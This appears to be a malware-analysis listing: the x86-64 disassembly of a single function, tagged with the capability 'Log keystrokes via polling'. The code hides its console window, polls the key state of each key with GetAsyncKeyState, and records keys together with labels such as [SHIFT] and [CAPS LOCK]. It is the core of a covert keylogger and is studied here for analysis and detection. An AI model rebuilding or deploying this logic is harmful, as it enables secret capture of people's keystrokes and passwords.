Function at 0x140005250
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r15d, r15d
mov dword [rbp - 0x39], r15d
movdqa xmm0, xmmword [0x140013f30]
movdqu xmmword [rbp + 0xf], xmm0
movdqa xmm1, xmmword [0x140013f10]
movdqu xmmword [rbp + 0x1f], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r15
mov r12d, 0xf
mov ebx, r12d
mov qword [rbp + 7], rbx
mov byte [rbp - 0x11], r15b
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov edi, 0xffff8001
lea r14, [0x140000000]
movabs r13, 0x7fffffffffffffff
nop word [rax + rax]
mov esi, 8
mov ecx, esi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, di
jne 0x14000556a
mov r8d, esi
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140001221
lea rcx, [rbp + 0x2f]
cmp rax, rcx
je 0x140005526
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
xor edi, edi
mov qword [rbp - 0x21], rdi
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x31], dil
or r15d, 1
lea eax, [rsi - 8]
cmp eax, 0x18
ja case.0x140005362.16
lea eax, [rsi - 8]
movsxd rcx, eax
movzx eax, byte [r14 + rcx + 0x55b0]
mov ecx, dword [r14 + rax*4 + 0x558c]
add rcx, r14
jmp rcx
mov edi, 1
mov word [rbp - 0x31], 0x20
jmp 0x140005437
mov edi, 1
mov word [rbp - 0x31], 0xa
jmp 0x140005437
mov edi, 1
mov word [rbp - 0x31], 8
jmp 0x140005437
mov edi, 0xb
movsd xmm0, qword [str._CAPS_LOCK_]
movsd qword [rbp - 0x31], xmm0
movzx eax, word [0x140013ea0]
mov word [rbp - 0x29], ax
movzx eax, byte [0x140013ea2]
mov byte [rbp - 0x27], al
mov byte [rbp - 0x26], 0
jmp 0x140005437
mov edi, 7
mov eax, dword [str._SHIFT_]
mov dword [rbp - 0x31], eax
movzx eax, word [0x140013eac]
mov word [rbp - 0x2d], ax
movzx eax, byte [0x140013eae]
mov byte [rbp - 0x2b], al
mov byte [rbp - 0x2a], 0
jmp 0x140005437
mov eax, dword [str._TAB_]
mov dword [rbp - 0x31], eax
movzx eax, byte [0x140013eb8]
jmp 0x14000542b
mov edi, 6
mov eax, dword [str._CTRL_]
mov dword [rbp - 0x31], eax
movzx eax, word [0x140013ec0]
mov word [rbp - 0x2d], ax
mov byte [rbp - 0x2b], 0
jmp 0x140005437
mov eax, dword [str._ALT_]
mov dword [rbp - 0x31], eax
movzx eax, byte [0x140013ec8]
mov byte [rbp - 0x2c], 0
mov byte [rbp - 0x2d], al
mov edi, 5
mov qword [rbp - 0x21], rdi
cmp rbx, 0x10
jb 0x140005473
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000546e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000557d
call fcn.140001325
movups xmm1, xmmword [rbp - 0x31]
movups xmmword [rbp - 0x11], xmm1
movups xmm0, xmmword [rbp - 0x21]
movups xmmword [rbp - 1], xmm0
and r15d, 0xfffffffe
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
xor eax, eax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
lea r14, [rbp - 0x11]
cmp rdi, r13
ja 0x140005584
mov qword [rbp - 0x19], r12
cmp rdi, 0x10
jae 0x1400054c5
mov qword [rbp - 0x21], rdi
lea r8d, [rax + 0x10]
mov rdx, r14
lea rcx, [rbp - 0x31]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14000550b
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x1400054d6
mov rbx, r13
jmp 0x1400054e3
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x31]
call fcn.14000137f
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x21], rdi
mov qword [rbp - 0x19], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x31]
call fcn.1400013d9
mov rbx, qword [rbp + 7]
lea r14, [0x140000000]
mov edi, 0xffff8001
jmp 0x14000556a
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x14000553c
movsx eax, sil
jmp 0x140005544
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
movzx eax, al
mov qword [rbp - 0x21], 1
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x31], al
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x31]
call fcn.1400013d9
inc esi
cmp esi, 0xbe
jle 0x1400052f5
jmp 0x1400052f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011db
int3